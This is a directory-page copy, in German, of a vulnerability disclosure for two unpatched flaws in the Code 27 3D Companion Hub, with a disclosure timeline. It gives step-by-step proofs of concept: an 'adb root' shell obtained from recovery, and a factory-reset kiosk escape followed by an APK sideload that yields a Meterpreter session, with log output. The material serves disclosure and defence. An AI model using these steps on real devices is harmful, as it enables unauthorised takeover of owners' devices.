Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Code-27-Companion-Hub-Exploits — Proof of Concept für CVE-2026-36027 und CVE-2026-36028 | Kitploit
Tools/GitHubGitHub/redr0nin/code-27-companion-hub-exploits
Android-SicherheitEmbedded-System-SicherheitPrivilege EscalationIoT-SicherheitSchwachstellenanalyseExploitationPenetrationstestsHardware-Sicherheit

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
redr0nin/code-27-companion-hub-exploits

Code-27-Companion-Hub-Exploits

Proof of Concept für CVE-2026-36027 und CVE-2026-36028

Repository anzeigen
11vor 2 MonatenNoch nicht geprüft

Schwachstellen im Code 27 3D Companion Hub (CVE-2026-36027, CVE-2026-36028)

Der Code 27 3D Companion Hub ist ein physisches Desktop-Gerät, das eine benutzerdefinierte KI-Figur (einen "Codie") als animierten 3D-Begleiter darstellt. Benutzer können beliebige 3D-Modelle hochladen oder erstellen, und multimodale KI ermöglicht es der Figur, ihre Umgebung zu sehen, Tonfall und Körpersprache zu lesen und offene Gespräche zu führen.

Diese Beschreibung behandelt zwei Schwachstellen, die physischen Zugriff auf das Gerät erfordern. Beide wurden gegen den unten aufgeführten Build validiert und sind zum Zeitpunkt der Veröffentlichung nicht gepatcht.

Code 27 3D Companion Hub

Betroffenes Gerät / Build

FeldWert
ProduktCode 27 3D Companion Hub
Companion Hub UI-Version1.2.0
SoC / BoardRockchip RK3588S (rk3588s_yt921)
BetriebssystemAndroid 12
Build-IDSQ3A.220705.003.A1
Vollständiger Fingerabdruckrk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
Build-Typuserdebug / release-keys

Die ausgelieferte Firmware ist ein userdebug-Build (sichtbar im Recovery-Banner und in ro.build.display.id). Userdebug-Builds erlauben es, adbd per adb root als root neu zu starten, was eine wesentliche Voraussetzung für die Existenz von CVE-2026-36027 ist.

Companion Hub-Versionsbildschirm mit Version 1.2.0


CVE-2026-36027 - Willkürliche Codeausführung via USB-Debugging (ADB) im Recovery

Zusammenfassung

Ein physisch naher Angreifer kann den Companion Hub in das Android Recovery booten und eine privilegierte ADB-Shell (Root) erlangen (uid=0, SELinux-Kontext u:r:su:s0). Da das Gerät mit einem userdebug-Build ausgeliefert wird, kann adbd per adb root als root neu gestartet werden, was dem Angreifer Lese-/Schreibzugriff auf die Recovery-Umgebung, die Möglichkeit zur Auflistung von Build- und Hardware-Eigenschaften sowie Zugriff auf Recovery-Funktionen (Sideload, Fastboot, Partitionsoperationen) verschafft.

Der erlangte Zugriff erfolgt im Recovery-Ramdisk, nicht in der laufenden Android-Laufzeitumgebung. Beim Testen schlug die Aktion Mount /system im Recovery fehl (libfs_mgr konnte /dev/block/by-name/system nicht öffnen), sodass die Systempartition auf diesem Weg nicht direkt gemountet wurde. Die gebootete Benutzerumgebung mit dem Kiosk und entschlüsselten Benutzerdaten wird in diesem Modus nicht dargestellt.

Dies ist dennoch relevant, da der Root-Zugriff auf die Recovery-Umgebung die Grundlage für die Änderung des persistenten Gerätezustands (z. B. Schreiben auf Partitionen oder Anwenden eines manipulierten Update-Pakets) darstellt, sodass vom Angreifer kontrollierter Code bei einem späteren normalen Neustart ausgeführt werden könnte – was eine dauerhafte Präsenz auf dem aktiven Gerät etabliert.

Proof of Concept

  1. Schalten Sie das Gerät aus.
  2. Sobald das Gerät vollständig ausgeschaltet ist, halten Sie gleichzeitig die Ein-/Aus-Taste und die Lautstärketasten gedrückt, bis das Gerät in das Android Recovery-Menü bootet.

Android Recovery-Menü mit hervorgehobenem Mount /system

  1. Schließen Sie ein USB-C-Kabel am Companion Hub und das USB-A-Ende an einen Computer an.
  2. Navigieren Sie mit den Tasten zu Mount /system, heben Sie es hervor und bestätigen Sie. Es wird scheinbar fehlschlagen. Das ist erwartet, und der Exploit funktioniert trotzdem. (Das Recovery-Protokoll zeigt, dass libfs_mgr das Öffnen von /dev/block/by-name/system nicht schafft.)
  3. Mit installiertem ADB auf Ihrem Computer bestätigen Sie, dass das Gerät aufgelistet wird:
root@kitploit:~
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe devices
Liste der angeschlossenen Geräte
YGKJ2601921S00193       recovery
  1. Das Gerät befindet sich im Recovery-Modus. Starten Sie adbd in einem Root-Kontext neu:
root@kitploit:~
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe root
adbd wird als root neu gestartet
Zeitüberschreitung beim Warten auf das Gerät abgelaufen
  1. Öffnen Sie eine Shell – Sie sind jetzt Root auf dem Gerät:
root@kitploit:~
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:su:s0
# getprop ro.build.display.id
rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
# getprop ro.product.model
rk3588s_yt921
# getprop ro.build.version.release
12
  1. Mit der Root-Shell können Sie das Recovery-Dateisystem auflisten und darauf zugreifen:
root@kitploit:~
# ls -la
insgesamt 840
drwxrwxrwt  33 root root     1040__bionic_open_tzdata: konnte keine tzdata finden bei Suche nach Asia/Shanghai!
 1970-01-01 00:00 .
drwxrwxrwt  33 root root     1040 1970-01-01 00:00 ..
drwxr-xr-x   2 root root       40 1970-01-01 00:00 acct
drwxr-xr-x   2 root root       40 1970-01-01 00:00 apex
lrwxrwxrwx   1 root root       11 1970-01-01 00:00 bin -> /system/bin
lrwxrwxrwx   1 root root       50 1970-01-01 00:00 bugreports -> /data/user_de/0/com.android.shell/files/bugreports
drwxr-xr-x   2 root root       40 1970-01-01 00:00 cache
drwxr-xr-x   3 root root        0 1970-01-01 00:00 config
lrwxrwxrwx   1 root root       17 1970-01-01 00:00 d -> /sys/kernel/debug
drwxr-xr-x   2 root root       40 1970-01-01 00:00 data
drwxr-xr-x   2 root root       40 1970-01-01 00:00 data_mirror
drwxr-xr-x   2 root root       40 1970-01-01 00:00 debug_ramdisk
lrwxrwxrwx   1 root root       12 1970-01-01 00:00 default.prop -> prop.default
drwxr-xr-x  15 root root     1380 1970-01-01 00:00 dev
lrwxrwxrwx   1 root root       11 1970-01-01 00:00 etc -> /system/etc
lrwxrwxrwx   1 root root       16 1970-01-01 00:00 init -> /system/bin/init
-rwxr-x---   1 root root      662 1970-01-01 00:00 init.recovery.rk30board.rc
drwxr-xr-x   2 root root       60 1970-01-01 00:00 linkerconfig
drwxr-xr-x  12 root root     4096 1970-01-01 00:00 metadata
drwxr-xr-x   8 root system    160 1970-01-01 00:00 mnt
drwxr-xr-x   2 root root      240 1970-01-01 00:00 odm
drwxr-xr-x   2 root root       60 1970-01-01 00:00 odm_dlkm
-rw-r--r--   1 root root        0 1970-01-01 00:00 odm_file_contexts
-rw-r--r--   1 root root        0 1970-01-01 00:00 odm_property_contexts
drwxr-xr-x   2 root root       40 1970-01-01 00:00 oem
drwxr-xr-x   3 root root      260 1970-01-01 00:00 pcba
-rw-r--r--   1 root root    47253 1970-01-01 00:00 plat_file_contexts
-rw-r--r--   1 root root    76958 1970-01-01 00:00 plat_property_contexts
drwxr-xr-x   2 root root       40 1970-01-01 00:00 postinstall
dr-xr-xr-x 220 root root        0 1970-01-01 00:00 proc
drwxr-xr-x   2 root root       40 1970-01-01 00:00 product
-rw-r--r--   1 root root        0 1970-01-01 00:00 product_file_contexts
-rw-r--r--   1 root root        0 1970-01-01 00:00 product_property_contexts
-rw-r--r--   1 root root    14023 1970-01-01 00:00 prop.default
drwxr-xr-x   3 root root       60 1970-01-01 00:00 res
drwx------   2 root root       40 2026-02-03 06:23 root
drwxr-xr-x   2 root root       60 1970-01-01 00:00 sbin
drwxr-xr-x   2 root root       40 1970-01-01 00:00 sdcard
drwxr-xr-x   2 root root       40 1970-01-01 00:00 second_stage_resources
-rw-r--r--   1 root root   658375 1970-01-01 00:00 sepolicy
drwxr-xr-x   2 root root       40 1970-01-01 00:00 sideload
drwxr-x--x   2 root root       40 1970-01-01 00:00 storage
dr-xr-xr-x  14 root root        0 1970-01-01 00:00 sys
drwxr-xr-x   5 root root      100 1970-01-01 00:00 system
drwxr-xr-x   2 root root       40 1970-01-01 00:00 system_ext
-rw-r--r--   1 root root      177 1970-01-01 00:00 system_ext_file_contexts
-rw-r--r--   1 root root     1889 1970-01-01 00:00 system_ext_property_contexts
drwxrwxr-x   2 root shell      40 1970-01-01 00:00 tmp
drwxr-xr-x   3 root root       60 1970-01-01 00:00 vendor
drwxr-xr-x   2 root root       60 1970-01-01 00:00 vendor_dlkm
-rw-r--r--   1 root root    25441 1970-01-01 00:00 vendor_file_contexts
-rw-r--r--   1 root root     4395 1970-01-01 00:00 vendor_property_contexts

CVE-2026-36028 - Umgehung der Kiosk-Einschränkung durch Werksreset

Zusammenfassung

Ein aus dem Recovery-Menü durchgeführter Werksreset löscht die Userdata-Partition, auf der die Kiosk-Anwendungen installiert sind. Da der Kiosk nicht Teil der Systempartition ist, wird er nach einem Neustart nicht wiederhergestellt, und das Gerät bootet in eine standardmäßige, uneingeschränkte Android-Umgebung (Launcher, Webbrowser, Dateimanager, Einstellungen und andere System-Apps).

Aus dieser uneingeschränkten Umgebung kann ein Angreifer Entwickleroptionen/USB-Debugging wieder aktivieren, eine beliebige APK sideloaden und ausführen, um eine Shell im laufenden Betriebssystem zu erhalten. In Tests führte dies zu einer Meterpreter-Sitzung, die als unprivilegierter Anwendungsbenutzer u0_a79 lief – ein anderer Berechtigungs- und Datenkontext als die Recovery-Root-Shell in CVE-2026-36027, da sie gegen das laufende, gebootete Betriebssystem und nicht gegen die Recovery-Ramdisk läuft. In diesem Zustand eingeschleuster und ausgeführter Code läuft als Teil des normalen Gerätebetriebs und gibt dem Angreifer interaktive Kontrolle über das Gerät und dessen benutzerzugängliches Dateisystem.

Proof of Concept

  1. Schalten Sie das Gerät aus.
  2. Sobald das Gerät vollständig ausgeschaltet ist, halten Sie gleichzeitig die Ein-/Aus-Taste und die Lautstärketasten gedrückt, bis das Gerät in das Android Recovery-Menü bootet.
  3. Heben Sie Daten löschen / Werksreset hervor und bestätigen Sie den Reset.

Android Recovery-Menü mit hervorgehobenem Daten löschen / Werksreset

  1. Nach dem Neustart des Geräts fehlen die Kiosk-Anwendungen und der Kiosk-Modus startet nicht. Dies liegt daran, dass die Kiosk-Anwendungen auf der Userdata-Partition und nicht auf der Systempartition installiert sind. Ein Werksreset im Recovery löscht die Userdata, wodurch die Kiosk-Anwendungen dauerhaft entfernt werden; da sie nicht auf der Systempartition vorhanden sind, werden sie beim Neustart nicht wiederhergestellt und der Kiosk kann nicht starten.
  2. Dem Angreifer wird eine uneingeschränkte Android-Umgebung präsentiert, einschließlich eines Webbrowsers, Dateimanagers, der Einstellungen und anderer Systemanwendungen. Von hier aus kann USB-Debugging aktiviert und eine beliebige APK sideloaded und ausgeführt werden – in diesem Fall mit dem Ergebnis einer Meterpreter-Sitzung im laufenden Betriebssystem:
root@kitploit:~
[*] Sende Stage (72424 Bytes) an 10.0.0.48
[*] Meterpreter-Sitzung 2 geöffnet (10.0.0.224:8000 -> 10.0.0.48:58094) um 2026-02-20 19:06:47 -0500

meterpreter > getuid
Server-Benutzername: u0_a79
meterpreter > cd /
meterpreter > ls
Auflistung: /
==========

Mode              Größe    Typ     Letzte Änderung             Name
----              ----     ----    -------------              ----
040554/r-xr-xr--  4096     Verz.  2008-12-31 19:00:00 -0500  acct
040554/r-xr-xr--  480      Verz.  1969-12-31 19:00:03 -0500  apex
040110/--x--x---  8192     Verz.  2008-12-31 19:00:00 -0500  bin
000000/---------  0        FIFO   1969-12-31 19:00:00 -0500  bugreports
040000/---------  4096     Verz.  1969-12-31 19:00:04 -0500  cache
040554/r-xr-xr--  0        Verz.  1969-12-31 19:00:00 -0500  config
040554/r-xr-xr--  0        Verz.  1969-12-31 19:00:00 -0500  d
040110/--x--x---  4096     Verz.  2026-02-03 01:27:34 -0500  data
040000/---------  120      Verz.  1969-12-31 19:00:04 -0500  data_mirror
040554/r-xr-xr--  4096     Verz.  2008-12-31 19:00:00 -0500  debug_ramdisk
040554/r-xr-xr--  1760     Verz.  2026-02-03 01:27:34 -0500  dev
040554/r-xr-xr--  4096     Verz.  2008-12-31 19:00:00 -0500  etc
100554/r-xr-xr--  1997584  Date  2008-12-31 19:00:00 -0500  init
100000/---------  463      Date  2008-12-31 19:00:00 -0500  init.environ.rc
040554/r-xr-xr--  240      Verz.  1969-12-31 19:00:03 -0500  linkerconfig
040000/---------  16384    Verz.  2008-12-31 19:00:00 -0500  lost+found
040554/r-xr-xr--  4096     Verz.  1969-12-31 19:00:04 -0500  metadata
040554/r-xr-xr--  360      Verz.  1969-12-31 19:00:05 -0500  mnt
040554/r-xr-xr--  3488     Verz.  2026-01-18 22:15:55 -0500  odm
040554/r-xr-xr--  3488     Verz.  2026-01-18 22:15:55 -0500  odm_dlkm
040554/r-xr-xr--  4096     Verz.  2008-12-31 19:00:00 -0500  oem
040554/r-xr-xr--  4096     Verz.  2008-12-31 19:00:00 -0500  postinstall
040554/r-xr-xr--  0        Verz.  1969-12-31 19:00:02 -0500  proc
040554/r-xr-xr--  3488     Verz.  2026-01-18 22:15:55 -0500  product
040776/rwxrwxrw-  3452     Verz.  2026-02-03 01:27:39 -0500  sdcard
040554/r-xr-xr--  4096     Verz.  2008-12-31 19:00:00 -0500  second_stage_resources
040110/--x--x---  80       Verz.  1969-12-31 19:00:04 -0500  storage
040554/r-xr-xr--  0        Verz.  1969-12-31 19:00:02 -0500  sys
040554/r-xr-xr--  3488     Verz.  2026-01-18 22:15:54 -0500  system
040554/r-xr-xr--  3488     Verz.  2026-01-18 22:15:55 -0500  system_ext
040554/r-xr-xr--  3488     Verz.  2026-01-18 22:15:54 -0500  vendor
040554/r-xr-xr--  3488     Verz.  2026-01-18 22:15:55 -0500  vendor_dlkm

Offenlegungszeitplan

Tool herunterladen
DatumEreignis
2026-02-17Beide Schwachstellen wurden dem Code 27-Team gemeldet und bestätigt.
2026-02-17Beide 0-Day-Schwachstellen wurden MITRE gemeldet.
2026-02-18Das Code 27-Team besprach einen Lösungsplan, sammelte zusätzliche Informationen und erklärte, dass es behoben werde.
2026-06-15MITRE vergibt CVE-2026-36027 und CVE-2026-36028.
2026-06-15Code 27 über die Vergabe informiert; erster Kontakt leitet Informationen an das Sicherheitsteam zur Build-Überprüfung weiter.
2026-06-16Das Code 27-Sicherheitsteam fordert erneut die vollständigen technischen Details an.
2026-06-17Vollständige technische Details werden dem Sicherheitsteam erneut zur Verfügung gestellt.
2026-06-18Keine Antwort des Sicherheitsteams.
2026-06-19Ein Vertreter von Code 27 erklärt, dass Unternehmen normalerweise 90 Tage zur Behebung von Sicherheitsproblemen haben und dass das Sicherheitsteam bereits informiert sei. Der Vertreter wird darauf hingewiesen, dass die Probleme vor über 120 Tagen gemeldet wurden. Als Frist für die Offenlegung wird der 1. Juli festgelegt.
2026-06-25Das Code 27-Sicherheitsteam wird kontaktiert, um die letzte Warnung vor der Frist und der Veröffentlichung zu bestätigen.
2026-06-28Code 27 entschuldigt sich, bestätigt die CVE-Identifikatoren und die Frist für die Offenlegung und erklärt, dass vor dem 1. Juli eine öffentliche Mitteilung und ein Link gesendet werden.
2026-07-01Code 27 bezüglich des Status der Mitteilung kontaktiert; keine Antwort.
2026-07-02Details der nicht gepatchten Schwachstellen veröffentlicht.